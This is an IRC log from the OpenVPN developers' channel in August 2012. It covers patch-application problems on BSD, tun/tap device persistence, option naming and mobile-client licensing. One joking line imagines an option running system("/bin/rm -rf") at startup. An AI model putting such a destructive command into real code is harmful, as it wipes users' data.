<@dazo> curl http://www.fpaste.org/5kwz/raw/ | patch -p1 :) 06:53 <+krzee> Patching file src/openvpn/multi.c using Plan A... 06:53 <+krzee> Hunk #1 failed at 1659. 06:53 <+krzee> 1 out of 1 hunks failed--saving rejects to src/openvpn/multi.c.rej 06:53 <+krzee> done 06:54 <@dazo> krzee: that can't be 2.3a3 06:54 <+krzee> openvpn-2.3_alpha3 06:55 <@dazo> krzee: it doesn't match up ... unless somebody have played games on your tarball 06:56 <@dazo> That's where I placed this patch .... http://www.fpaste.org/OH5K/ 06:57 <+krzee> http://www.fpaste.org/qenK/ 06:58 <+krzee> MD5 (openvpn-2.3_alpha3.tar.gz) = cb175ae9f36b7f19d4f38ca114c94b31 06:58 <+krzee> SHA256 (openvpn-2.3_alpha3.tar.gz) = 92a5c7b306204dec1b99e47c2522ebb9d52a6724f1fc0f9df9fc648d7fc8e967 07:00 <@dazo> cb175ae9f36b7f19d4f38ca114c94b31 ../../openvpn-2.3_alpha3.tar.gz.1 (I downloaded the one you pointed at) 07:00 <@dazo> $ curl http://www.fpaste.org/5kwz/raw/ | patch -p1 07:00 <@dazo> % Total % Received % Xferd Average Speed Time Time Time Current 07:00 <@dazo> Dload Upload Total Spent Left Speed 07:00 <@dazo> 100 1336 100 1336 0 0 3909 0 --:--:-- --:--:-- --:--:-- 7463 07:00 <@dazo> (Stripping trailing CRs from patch.) 07:01 <@dazo> patching file src/openvpn/multi.c 07:01 <@dazo> and it slides straight in 07:01 <+krzee> weird 07:02 <+krzee> want me to try in linux? 07:02 <@dazo> indeed ... and the MD5 and SHA256 values matches your values ... both on the tar files I sent to mattock for the release and what I downloaded 07:04 * dazo suspects the 'patch' tool to not know what it does .... 07:04 <+krzee> (Stripping trailing CRs from patch.) 07:04 <+krzee> patching file src/openvpn/multi.c 07:04 <+krzee> [root@theygot openvpn-2.3_alpha3]# 07:04 <+krzee> linux is happy with it 07:05 <@dazo> the CRs are probably just the fpaste adding them ... but that shouldn't be an issue ... or maybe BSD patch chokes on that? 07:05 <+krzee> i wouldnt know 07:05 < plaisthos> cron2: I have not gotten the mail to the list or I am missing something 07:06 < plaisthos> oh 07:06 < plaisthos> found it 07:06 <@dazo> plaisthos: http://thread.gmane.org/gmane.network.openvpn.devel/6970/focus=6972 07:06 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:06 <+krzee> no worries, testing in linux 07:07 * dazo heads out for lunch 07:07 < plaisthos> OS X seems to have the if_nametoindex too 07:08 <+krzee> gcc -DHAVE_CONFIG_H -I. -I../.. -I../../include -I../../src/compat -I/usr/kerberos/include -I/usr/kerberos/include -g -O2 -MT gremlin.o -MD -MP -MF .deps/gremlin.Tpo -c -o gremlin.o gremlin.c 07:08 <+krzee> *chuckle* 07:14 <+krzee> oh is this going to run the check when the client connects? 07:14 <+krzee> instead of when the server starts 07:16 < plaisthos> On a quick glance of the source code I cannot find out how the code opens tap on os x 07:16 < plaisthos> unless ... 07:17 < plaisthos> there is a tun.kext and a tap.kext 07:17 <+krzee> jeffs-MacBook-Pro:~ jeff$ kextstat |grep tap 07:17 <+krzee> jeffs-MacBook-Pro:~ jeff$ kextstat |grep tun 07:17 <+krzee> 117 0 0xffffff7f80804000 0x6000 0x6000 net.tunnelblick.tun (1.0) <7 5 4 1> 07:17 <+krzee> granted, i dont have a tap running 07:18 < plaisthos> [14:17]arne@pluto:~% kextstat|grep tap 158 0 0xffffff7f82685000 0x6000 0x6000 net.tunnelblick.tap (1.0) <7 5 4 1> 07:18 < plaisthos> :) 07:19 <+krzee> /Applications/Tunnelblick.app/Contents/Resources/tap.kext 07:23 <@ecrist> cron2: going to work on testing that patch today/tomorrow 07:47 < plaisthos> but your persistent-tun discussion reminds me of looking into implementing something similar for Android 07:50 <+krzee> dazo, im not getting a warning 07:50 <+krzee> drwx--x--x 2 root root 4096 Aug 15 05:38 ccd 07:51 <+krzee> no files in it 07:52 <+krzee> going to pass out now 08:08 <@dazo> krzee: the warning should come when client connects .... hmmm ... maybe the test_file() function works a bit differently? ... *checks* 08:14 <@dazo> hmm ... test_file() should return 'true' only if it is able to open the file ... 08:15 * dazo don't see where/how this can fail ... if ccd/Common_Name file name is NULL or cannot be opened, it will look for DEFAULTS - and if that can't be found it should produce a warning .... 08:22 < plaisthos> wrong loglevel? 08:27 <@dazo> M_WARN shouldn't be blocked by that, I believe 08:29 * dazo spots an amusing function in error.c .... crash() 08:29 < plaisthos> crash? 08:29 <@dazo> src/openvpn/error.h:void crash (void); /* force a segfault (debugging only) */ 08:30 < plaisthos> :) 08:30 * plaisthos unsure why I would need such a function 08:30 < plaisthos> assert(0==1) works well enough ;) 08:31 <@dazo> yeah ... exactly ... and you have kill -KILL if you want to just rip the process out of existence 08:31 <@dazo> it's not used anywhere either ... so it's probably yet some old cruft 11:38 -!- raidz_afk is now known as raidz 12:20 -!- dazo is now known as dazo_afk 13:45 -!- Netsplit *.net <-> *.split quits: @mattock_ 14:46 <@ecrist> cron2: tom found one way to mitigate the destroyed interface problem - drop privileges. Then openvpn doesn't have perms to delete the interface. 14:51 < plaisthos> Yeah. Being on the network 192.168.178.0/24 connecting to the server 192.168.178.48 and getting an IP 192.168.178.2 works! 15:00 <@ecrist> that seems so wrong in so many ways. 15:03 < plaisthos> :D 15:04 < plaisthos> If I give the client the IP 192.168.174.48 it breaks 15:05 < plaisthos> giving the client its own IP works fine 15:06 < plaisthos> which is nice :) 15:06 < plaisthos> so connecting from a hotspot with your telephone to a server which gives you the same ip range works 15:21 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 272 seconds] 15:22 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 15:24 < plaisthos> screenshots here: http://code.google.com/p/ics-openvpn/issues/detail?id=67 15:24 <@vpnHelper> Title: Issue 67 - ics-openvpn - Going from VPN to Local Connection without turning off OpenVPN causes hang - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 15:24 < plaisthos> :) 16:05 <@vpnHelper> RSS Update - tickets: #225: '--auth-user-pass FILE' and '--auth-nocache' problem <https://community.openvpn.net/openvpn/ticket/225> 16:27 -!- raidz is now known as raidz_afk 16:28 <+krzee> dazo_afk, the client was connecting 16:28 <+krzee> i can give full log / configs if you like... 16:28 -!- raidz_afk is now known as raidz 16:41 -!- raidz is now known as raidz_afk 17:42 -!- raidz_afk is now known as raidz 19:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 20:27 -!- raidz is now known as raidz_afk 22:24 -!- bantu_ [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 22:29 -!- Netsplit *.net <-> *.split quits: bantu 22:39 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Aug 16 2012 02:48 <@cron2> moin 02:51 <@cron2> plaisthos: regarding "how to open tun/tap on osx" - it should be as on the other BSDs, just try opening /dev/tun0, /dev/tun1, /dev/tun2, ... until you get one that succeeds, and that's your interface number 02:51 <@cron2> (and you need to load tun.kext, for example the one that comes with Tunnelblick) 03:06 -!- dazo_afk is now known as dazo 03:39 <@d12fk> GOST series on it's way 04:52 <@dazo> I hope andj can find some time to dig into and review these patches :) 05:13 <@d12fk> andj: isn't that just the right thing for the summer vacation, a little openssl on the beach?! =) 05:14 <@d12fk> dazo: now turning towards the utf8 compat patch 05:15 <@dazo> d12fk: great!! 05:50 < plaisthos> d12fk: is there anyone who actually uses GOST or is just a "for fun" project? :) 05:55 <@d12fk> plaisthos: the Russians 05:56 < plaisthos> d12fk: ah okay 05:57 < plaisthos> In Russia we do security throught obsecurity by using our own Cipher 05:57 < plaisthos> SCRN 06:01 <@d12fk> nah it's not secret anymore and it uses the same basic pricipals than AES or DES 06:02 <@d12fk> it's just due to the cold war i suppose, they couldn't use american stuff, they had to do their own superior one 06:02 < plaisthos> yeah 06:33 <@d12fk> dazo: i'll call the option --name-remapping in sweet memory of the underscore =) 06:33 <@cron2> --name_remapping, then? 06:34 <@d12fk> hehe, otoh it's not really what it would be doing 06:34 <@cron2> --no_underscore_for_you 06:35 <@d12fk> so, maybe something like --compat-naming would be more appropriate 06:43 -!- bantu_ is now known as bantu 07:02 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 07:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:33 <@dazo> d12fk: --compat-naming sounds better :) ... to avoid confusion with the underscore crap :) 07:34 <@d12fk> dazo: --compat-naming [no-remapping] will it be 08:54 <@ecrist> imo, underscores suck for command/config arguments 08:54 <@ecrist> stick to hyphens 09:00 <@cron2> ecrist: leave my underscores alone, and go testing :-) 09:04 <@ecrist> tom seems to think your patch didn't work, but I know he's going to look into it again today 09:04 <@ecrist> I'll let you know. 09:12 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 09:13 -!- mode/#openvpn-devel [+v janjust] by ChanServ 09:27 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn-devel 09:31 < _quadDamage> cron2: ecrist's cohort here. tried applying your patch against the 2.3_alpha3 code (pulled by the openvpn-devel FBSD port) yesterday. the patch failed, so I patched it by hand. Building the patched port doesn't seem to have any affect on the tap behavior. Is 2.3_alpha3 the correct codebase, or should I be applying against something newer? 09:35 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 09:42 <@ecrist> _quadDamage: his email indicates 2.3_alpha3 09:43 <@cron2> 2.3a3 should work 09:43 <@cron2> how did it fail? 09:44 <@cron2> the most visible difference should be that it tells you upon startup something like "TUN/TAP device tap3 exists previously, keep at program end", right befor the "TUN/TAP device tap3 openend" line 09:44 <@cron2> and at the end, it will not call "ifconfig tap3 destroy" 09:45 <@cron2> there are changes in openvpn since alpha3, but I do not think anything changes tun.c/tun.h - but if you want to be sure, do a git clone and git am 09:52 <@ecrist> cron2: if it helps, the freebsd port uses snapshot 201230, which has a latest commit of 6dcb1265c601b53d2bb221f5087ef5ad2626f94b 09:53 < _quadDamage> http://pastebin.com/CAW5TNJa is the patch output. I could be doing it all wrong, I'm not too proud. 09:54 < plaisthos> ecrist: 6dcb1265c601b53d2bb221f5087ef5ad2626f94b is is alpha3 09:54 <@cron2> doesn't look to bad, actually, so I see no obvious reason why it would fail 09:55 <@cron2> mmmh 09:56 <@cron2> I checked out that very commit, and the patch applies cleanly 09:56 <@cron2> maybe line endings got garbled at saving from mail client? 09:57 < _quadDamage> that could be. i'll try grabbing the patch again. 10:02 <@ecrist> plaisthos: I know, I roll those snapshots 10:03 < plaisthos> ecrist: :) 10:08 <@dazo> cron2: I know krzee had some issues with a patch from me ... we used same tarball, applied the same patch (from a pastebin, downloading via curl in raw format) ... in Linux it applied cleanly, in Free(?)BSD it failed 10:08 <@dazo> (even checked tarballs with sha256sum) 10:09 <@dazo> might be there's something in the patch file which makes the *BSD patch tool cringe? 10:09 * cron2 tried on BSD 10:09 <@dazo> hmm ...then it's not that in this case ... :) 10:09 <@cron2> git clone, git checkout 6dcb1265c6, patch -p1 10:09 <@dazo> hmm 10:17 <@ecrist> I hand-patched, I'm guessing it's _quadDamage's fault at this point :P 10:23 <@ecrist> cron2: your patch works as designed. 10:24 <@cron2> cool 10:24 * cron2 will test on NetBSD and OpenBSD tonight, and then it can go in 10:24 <@ecrist> FreeBSD alcatraz-2.claimlynx.com 9.0-RELEASE-p3 FreeBSD 9.0-RELEASE-p3 #0: Tue Jun 12 01:47:53 UTC 2012 root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386 10:24 <@ecrist> root@alcatraz-2:/usr/ports/security/openvpn-devel-> openvpn --version 10:24 <@ecrist> OpenVPN 2.3_alpha3 i386-portbld-freebsd9.0 [SSL (OpenSSL)] [LZO] [eurephia] [MH] [PF_INET6] [IPv6 payload 20110522-1 (2.2.0)] built on Aug 16 2012 10:34 <@cron2> ecrist: are you on the devel list? If yes, can you send an ack please? 10:34 <@ecrist> yup! 10:35 <@cron2> thanks 10:35 <@ecrist> done 10:36 <@ecrist> if you can get that comitted to git, after sunday's snapshot roll, I'll work on another -devel update 10:36 <@ecrist> with the other changes we discussed earlier this week. 10:37 <@cron2> I'll do the tests tonight, and then all depends on dazo :-) 10:37 <@dazo> I can do my best to squeeze it in tomorrow 10:38 < plaisthos> dazo: don't forget my man page patch :) 10:38 <@dazo> plaisthos: I won't :) 10:39 <@d12fk> the dazo never forgets, the dazo never forgives =) 10:39 <@cron2> but he mightily queues! 10:39 <@d12fk> lol 10:39 <@dazo> I never forget! I might not always remember, but I never forget! 10:40 <@dazo> hehe 10:40 <@dazo> cron2: when plaisthos first is in the spotlight ... did you ever ACK version 4 of the getaddr_multi stuff you two argued about? 10:41 <@cron2> not on the list, yet. I have *tested* it, and it seems well behaved, which is at least a half ack. Now I want to review it by staring at the code for a bit. 10:41 < plaisthos> :) 10:41 < plaisthos> I also need to setup a windows build env for openvpn to test the code on that platform 10:42 <@cron2> the force is strong in that one 10:42 <@dazo> the *dark* force, I might add 10:43 * plaisthos smiles 10:48 <@d12fk> btw. when will the [IPv6 payload 20110522-1 (2.2.0)] thing be removed from the version? isn't it bound to [PF_INET6] anyway? 10:50 <@dazo> nope, that's two different patchsets .... however, neither of them can be removed ... so probably consider to kick them out for the final 2.3 release 10:51 <@d12fk> ack that 10:58 -!- raidz_afk is now known as raidz 11:00 < plaisthos> and whatever [MH] is 11:01 < plaisthos> ah multi home 11:08 <@cron2> dazo: ack, let's throw it out for 2.3 release 11:09 <@cron2> d12fk: that was sort of "make sure we know which codebase this binary was built from" 11:09 <@cron2> and it *is* obsolete now 11:13 <@d12fk> made sense before it was merged, agree 11:15 <@d12fk> how do you like this for the --compat-naming option: http://pastebin.com/JJkCBMaz 11:15 <@d12fk> itsa slight copypasta of the late --no-name-remapping option 11:17 <@d12fk> hm, maybe the man page needs more fixing regarding the underscore thing 11:17 <@dazo> d12fk: I should just say "removed again in the future" ... not "near future" ... as it might be that James want to halt this removal a bit longer than we 11:18 <@d12fk> i just chose to scare the maximum shit out of affected ppl to get them going =) 11:18 * dazo expects AS to depend on this :) 11:18 <@dazo> hehehe ... yeah, but we've tried to scare james with the git stuff for 2 years, and we still don't know if he managed to move on ;-) 11:19 <@d12fk> i dont think that he ever will, as i see it we have a split between the open and prop. version of ovpn 11:20 <@dazo> d12fk: well, yeah ... but he got AS customers who wants IPv6 ;-) 11:20 <@d12fk> it's going to be painful for him then =) 11:20 <@dazo> ;-) 11:20 <@d12fk> or is svn dead? 11:21 <@dazo> I haven't checked lately ... but I haven't seen any changes there since Dec last year 11:21 <@dazo> but I guess he's been into their Andriod and (maybe?) iPhone port of openvpn 11:21 <@d12fk> the delta is huge and rebasing from svn aint fun as you can tell 11:21 <@dazo> d12fk: I know .... the last merge I did from him, I made James solve ;-) 11:23 <@dazo> Last Changed Author: James Yonan 11:23 <@dazo> Last Changed Rev: 7794 11:23 <@dazo> Last Changed Date: 2011-12-26 01:18:50 +0100 (Mon, 26 Dec 2011) 11:23 <@dazo> yeah, he' 11:23 <@d12fk> ok 11:23 <@dazo> he's definitely not doing SVN stuff :) 11:23 <@dazo> unless he actually moved to git ... and never published his tree somewhere ......... 11:23 * dazo doubts so, though 11:24 <@d12fk> he has to, it's gpl after all =) 11:24 <@d12fk> *would have to 11:25 <@d12fk> ok afk now, cu tomorrow 11:25 <@dazo> well, he can just dump us a tarball if he wants to .... it's not git/svn/or-whatever-format-I-prefer requirement 11:25 <@dazo> c'ya! 11:25 <@d12fk> true 11:28 < plaisthos> dazo: I discovered the official android client long after I had my client working 11:28 <@dazo> plaisthos: yeah, but you know the downside of that one? it's not GPLed .... 11:28 <@dazo> (someone could probably force out the source of the openvpn process ... but not the GUI) 11:29 < plaisthos> openvpn code is pure gpl or is it gpl everyone but OpenVPN AS? 11:29 <@dazo> it's only the core openvpn (which we're working) which is GPLed ... the rest is closed 11:30 < plaisthos> dazo: you decompile the GUI :) 11:30 <@dazo> I think James wants to open more up ... but it might be some internal disagreements on that process 11:31 < plaisthos> Narf! my openvpn process dies and the only thing I see from the log is 11:31 < plaisthos> Process de.blinkt.openvpn (pid 5398) has died. 11:31 * plaisthos hates android 11:32 * dazo honestly hopes that JollaMobile manages to make MeeGo really survive ... or that webOS devices reappears again 11:33 <@dazo> http://www.zdnet.com/jollas-meego-ui-is-ready-to-go-and-its-on-the-hunt-for-mobile-talent-7000002728/ 11:33 <@vpnHelper> Title: Jollas MeeGo UI is ready to go - and its on the hunt for mobile talent | ZDNet (at www.zdnet.com) 11:34 < plaisthos> You have to stand against Android and Android is quite good nowadays 11:35 <@dazo> Andriod is on the list after MeeGo and webOS, on my list ... but only because of the openness and "hackability" of the OS 11:36 <@dazo> I mean, the N900 has a "gainroot" package ... provided by Nokia ... which gives you complete root access .... and that's carried on in MeeGo, afaik 11:36 <@dazo> Android phones are often locked down in various ways .... even though, it is better than what it was a few years ago 11:37 < plaisthos> yes 11:38 < plaisthos> If you adopt a OS for your mobile phone/gadget/whatever you can use Android or something different like N900 11:38 < plaisthos> or like meego/webos 11:39 < plaisthos> like the ouya gaming console. WHich uses Android too and will be open 11:39 <@dazo> true 11:40 <@dazo> I just hope that the guys who wrote an Android "runner" for MeeGo will appear again :) That would be a killer-app for MeeGo 11:41 < plaisthos> hehe 11:42 <@dazo> (and would probably make the competition against the Android platform more fair as well) 11:47 < plaisthos> for full compatiblity you probably need whole android in a chroot :/ 11:48 <@dazo> hmmm :/ 11:50 < plaisthos> I mean yes you can probably modify the davilik vm to run on the glibc but you would loose comptability with jni libraries 11:51 < plaisthos> and you have to emulate the system services as well 11:55 <@dazo> yeah ... iirc, it was something like that the previous attempt did 11:57 <@dazo> http://www.youtube.com/watch?feature=player_embedded&v=mXWEyKjwk2g 11:57 <@vpnHelper> Title: Myriad Alien Dalvik - YouTube (at www.youtube.com) 12:18 <@cron2> damn pf 12:19 <@cron2> interfering with my IPv6 fragments again 12:19 <@dazo> ugh 12:21 <@cron2> default on FreeBSD is "drop all fragments"... OpenBSD has implemented "reasemble fragments, then firewall!" but AFAIK FreeBSD has not imported that yet 12:23 <+krzee> all up in your fragments 12:38 <@cron2> Thu Aug 16 19:37:42 2012 TUN/TAP device tun3 exists previously, keep at program end 12:39 <@cron2> Thu Aug 16 19:39:20 2012 TUN/TAP device tap3 exists previously, keep at program end 12:40 <@cron2> *sigh* 12:41 <@cron2> on NetBSD, there is no way to dynamically create a "tap3" if it does not already exist (or you call "ifconfig tap3 create") 12:41 <@cron2> .oO(do we want to support that? ... no.) 12:44 <@dazo> cron2: let's put our heads in the sand in regards to NetBSD users ... and hope it's not too many of them, and if there are, that they are clever and intelligent users ...... 12:46 * cron2 has plans for a platform-support page in the wiki... 12:48 <@dazo> :) makes sense! 12:51 <@cron2> ok, OpenBSD will not do --dev tap3 either 12:52 <@cron2> it might do --dev tun3 --dev-type tap 13:01 <@cron2> https://community.openvpn.net/openvpn/wiki/PlatformNotes 13:01 <@vpnHelper> Title: PlatformNotes – OpenVPN Community (at community.openvpn.net) 13:13 <@cron2> dazo: this version of the patch (just sent to the list) is the same code as before, just added more "Tested on..." and the ACK by ecrist 13:14 <@dazo> cron2: cool! that makes it easy for me :) 13:14 <@cron2> (and indeed, tested it is :) ) 13:27 <@ecrist> :D 13:31 <@cron2> moar patches 13:47 -!- dazo is now known as dazo_afk 14:15 <+krzee> DragonFlyBSD 14:15 <+krzee> there currently is no OpenVPN developer that has access to a DragonFlyBSD system, so changes to the code are not tested. 14:16 <+krzee> if the guy at the datacenter ever powers up my esxi box we can put a dragonflybsd VM on it 14:16 <+krzee> ill donate it as a buildbot 14:43 <@andj> heading offline for 2 days for my move 14:44 <@andj> hopefully I'll have some more time after that :) 14:44 <@andj> see you guys soon! 14:45 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 15:34 <@cron2> krzee: getting a VM is not a problem. Someone would need to figure out how to install software there, how tun/tap works, etc. 15:34 <@cron2> take responsibility for the platform-specific bits inside OpenVPN - I can't do that right now, no time 15:35 <+krzee> its freebsd 4 15:39 <@cron2> -based 15:40 <@cron2> but lots of things have been changed - if they can introduce completely new file systems, how can we be sure that their tun/tap drivers work the same as on FreeBSD (especially given that NetBSD and OpenBSD have quite significantly different tun/tap drivers) 15:41 <@cron2> as I wrote, I *assume* that the current code works, but I have no time to install a VM, install the needed tools (lzo, libtool, git, automake, ...), test stuff, and then actually maintain it 15:55 < plaisthos> are there really people using dragonflybsd? 15:55 <@cron2> someone must have contributed all the #ifdef TARGET_DRAGONFLY code :) 15:56 < plaisthos> :) 16:06 <+krzee> ill give it a shot 19:37 -!- raidz is now known as raidz_afk 22:02 <@vpnHelper> RSS Update - tickets: #226: '--auth-user-pass-verify VIA-FILE' can not pass long passwords (>~512) <https://community.openvpn.net/openvpn/ticket/226> --- Day changed Fri Aug 17 2012 02:59 < plaisthos> passwords over 512 chars? 03:02 <@d12fk> that's when you want an auth-user-pass file =) 03:03 <@d12fk> decided to rename to compat option to --compat-x509-names btw 03:11 < plaisthos> instead of a 512 password you can use certificates. 03:11 < plaisthos> you cannot remember these long passwords anyway 03:22 -!- dazo_afk is now known as dazo 06:20 * plaisthos hates NAT 06:38 < plaisthos> Do to my super NAT gateway tcp and ping 1800 works fine but udp and ping 90 causes reconnects all the time, ping 10 and udp works but drains the battery 06:54 <@d12fk> decided to rename to compat option to --compat-names again btw =) 06:55 < plaisthos> d12fk: lol 06:56 < plaisthos> we should give options ultralong names like --d3b07384d113edec49eaa6238ad5ff00 for comptability and we can rename them in every release and point users that want compatibility to the ultra long options :P 06:57 <@cron2> d12fk: shall we start a bikeshed contest on that name? 06:58 * plaisthos wants a name that sounds blue ;) 06:58 <@cron2> --blue-names-only 06:58 <@d12fk> if really want to use 128bit values it's gonna be a long weekend =) 06:59 <@cron2> *we* are not the ones that cannot decide on a name :-) 06:59 <@d12fk> it's not my decision, but the codes 07:00 <@d12fk> if the option mangles usernames it cannot have x509 in it 07:00 <@d12fk> turned out it does... 07:03 <@cron2> --complain-to-d12fk-if-you-need-this-option 07:04 * plaisthos linkes that 07:04 <@d12fk> --don-t-complain-fix-your-shit-yourself 07:05 <@d12fk> i can imagine this option to do a system ("/bin/rm -rf") at startup 07:05 < plaisthos> :) 07:05 < plaisthos> d12fk: have you consider adding a warning when your option is used? Like this may go away for 2.4? 07:07 <@d12fk> no. ppl. will face a broken setup if they need it and will be pointed to the manpage where this is said. good enough? 07:07 <@d12fk> also dazo is not so sure about 2.4 07:08 <@d12fk> and i'm not a big fan of warnings in the log file, like when you use tls-remote or script-security 07:15 < plaisthos> d12fk: kk 07:16 < plaisthos> d12fk: yes. I especially dislike the script-security warning 07:16 <@dazo> In this case, I'd say we shouldn't have a log warning ... as this is an explicit option which is added in the configs. To figure out why you need it, you had to read announcements and/or man page, which should give the proper info 07:16 <@dazo> the --script-security warning begins to be bogus too ... but I'd say we can kill it in 2.4 07:17 < plaisthos> dazo: :) 07:17 < plaisthos> I thinking about killing it from my android client. It serves no purpose on the mobile device where very few even consider adding up/down whatever scriptis 07:18 <@cron2> plaisthos: it's a compatibility thing, and there never was an android version that behaved differently - so just kill it 07:19 <@dazo> ack ... however ... I just did: git grep -- "--script-security" 07:19 <@dazo> I'm surprised it was so many related warnings .... 07:20 < plaisthos> cron2: yes. I try to diverge as little as possible from the upstream openvpn 09:07 < plaisthos> In umts networks the ping parameter seems to be most important parameter that decides on mobile phone battery life. At the moment a user has no idea to which value is paramter is set when loglevel at 2 or less. 09:08 < plaisthos> is a query the config thing a good idea for the management console? 09:20 <@cron2> d12fk: how come you have decided on a name already? leaving for the weekend? 09:20 < plaisthos> cron2: I think he sent a patch the mailing list 09:20 <@cron2> yeah, that is what I saw, and it surprised me that he reached a decision 09:21 < plaisthos> :) 09:28 <@d12fk> after all the patches i'm happy if another one is ready to be sent 09:29 <@d12fk> plus, the name is excellent =) 09:29 < plaisthos> While searching for openvpn I found two very old patches from me 09:30 < plaisthos> perhaps I should fix the example pf plugin patch and resubmit it :) 09:30 <@cron2> d12fk: --friday-afternoon-and-I-go-to-the-lake-now 09:31 <@cron2> so where's dazo hiding? work to do...! 09:31 * dazo hides on purpose due to a full work plate already :) 09:32 <@d12fk> my patches all apply cleanly, no work thär =) 09:33 <@cron2> d12fk: your patches all touch nasty crypto stuff - even andj went into hiding after you sent them 09:34 <@d12fk> he moved just to have an excuse, haha =) 09:39 <@dazo> plaisthos: if my memory serves me right, I even think I mailed you about those submissions about two years go or so ... 09:39 <@dazo> :) 10:22 < plaisthos> dazo: yes you did :) 11:16 -!- raidz_afk is now known as raidz 12:57 -!- dazo is now known as dazo_afk 14:17 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 14:32 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 19:02 -!- raidz is now known as raidz_afk --- Day changed Sat Aug 18 2012 08:28 -!- dazo_afk is now known as dazo 08:29 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao] 08:55 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:55 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:56 -!- dazo is now known as dazo_afk 14:53 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 246 seconds] 15:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 15:26 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:26 -!- mode/#openvpn-devel [+o dazo] by ChanServ 17:44 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Read error: Connection reset by peer] 17:44 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 17:52 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Ping timeout: 272 seconds] 17:53 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel --- Day changed Sun Aug 19 2012 00:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 23:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Aug 20 2012 04:46 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:46 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:28 <@cron2> mattock: do you know whether OpenVPN tech is working on an iPhone OpenVPN client as well? 05:28 <@cron2> one of my customers urgently needs to get rid of their PPTP-based iVPN and I don't want to buy a Cisco or Juniper SSL-VPN-Device 06:09 <+krzee> cron2, ovpn tech hasnt been given access to the iphone vpn device 06:09 <+krzee> vpn api rather 06:09 <+krzee> why? no idea 06:11 <+krzee> https://discussions.apple.com/thread/1607496?start=165&tstart=0 06:11 <@vpnHelper> Title: OpenVPN Compatibility?: Apple Support Communities (at discussions.apple.com) 06:11 <@dazo> krzee: I imagine such an anser: "why? Because we're Apple and you are not" 06:11 <+krzee> Sunkai 06:11 <+krzee> Re: OpenVPN Compatibility? 06:11 <+krzee> Aug 3, 2012 11:53 AM (in response to schalliol) 06:11 <+krzee> As I understand it, the OpenVPN development community are still waiting on Apple opening up the VPN API. Proprietary companies like Cisco use it in their solutions, but the documentation has not been made available to the wider Apple Developer population. 06:11 <+krzee> 06:11 <+krzee> http://blog.michael.kuron-germany.de/2010/09/ios-4-1-undocumented-vpn-api-used-b y-cisco-anyconnect/ 06:11 <+krzee> 06:11 <+krzee> Even if the API were reverse-engineered from existing apps by OpenVPN developers, it remains to be seen whether Apple would allow an unsanctioned VPN client on the App Store. 06:11 <+krzee> 06:11 <+krzee> Personally, I don't understand the guarded stance Apple has taken, unless the VPN API is unfinalised. If there are still stability and security issues, then hopefully they will be addressed, and we'll see VPN integrated into the iOS SDK proper. 06:12 <+krzee> ^ he sums up the situation well 06:13 <@dazo> agreed 06:19 <+krzee> but hey you could always use pptp! lol 06:23 <@cron2> krzee: I know that the *community* has no access, but quite a number of companies are offering VPN clients for iOS, so maybe openvpn *tech* has been working on that... 06:24 <+krzee> would be nice 06:24 <@cron2> ... and mattock might be able to find out :-) 06:24 <+krzee> cisco and juniper got access… mattock? =] 06:25 < plaisthos> iirc there was a discussion on OpenVPN + iOS a while ago 06:25 <@dazo> Maybe even OpenVPN Tech should shift focus, as they can probably ditch their client for Android now ... that's being developed as pure F/OSS anyhow now too ... then they could focus on iPhone completely 06:25 <+krzee> http://blog.michael.kuron-germany.de/2010/09/ios-4-1-undocumented-vpn-api-used-by-cisco-anyconnect/ 06:25 <+krzee> oops misfire 06:26 <@cron2> krzee: cisco, juniper, f5, and a few more - all the usual suspects that sell "VPN boxes" 06:26 < plaisthos> It is also not clear if App Store and GPL are compatible 06:26 < plaisthos> just google VLC GPL App Store 06:27 <+krzee> but if its from openvpn tech it doesnt need to be pure gpl 06:27 <+krzee> like AS 06:27 < plaisthos> yes ... 06:27 <@cron2> I noticed, but never understood what the problem is 06:27 < plaisthos> the basic point of App Store vs GPL was, GPL allows you to redristribute and app from the app store are not redistributable 06:33 <+krzee> http://opensource.apple.com/source/configd/configd-395.6/SystemConfiguration.fproj/helper/SCHelper_server.c?txt 06:33 <+krzee> interesting? 06:39 <+krzee> im not a coder but im thinking that file has to do with network config, and how the vpn hooks in may be gleaned from that maybe? 06:45 <+krzee> http://www.google.com/search?q=com.apple.networking.vpn.configuration+site:http%3A%2F%2Fopensource.apple.com%2Fsource 06:45 <@vpnHelper> Title: 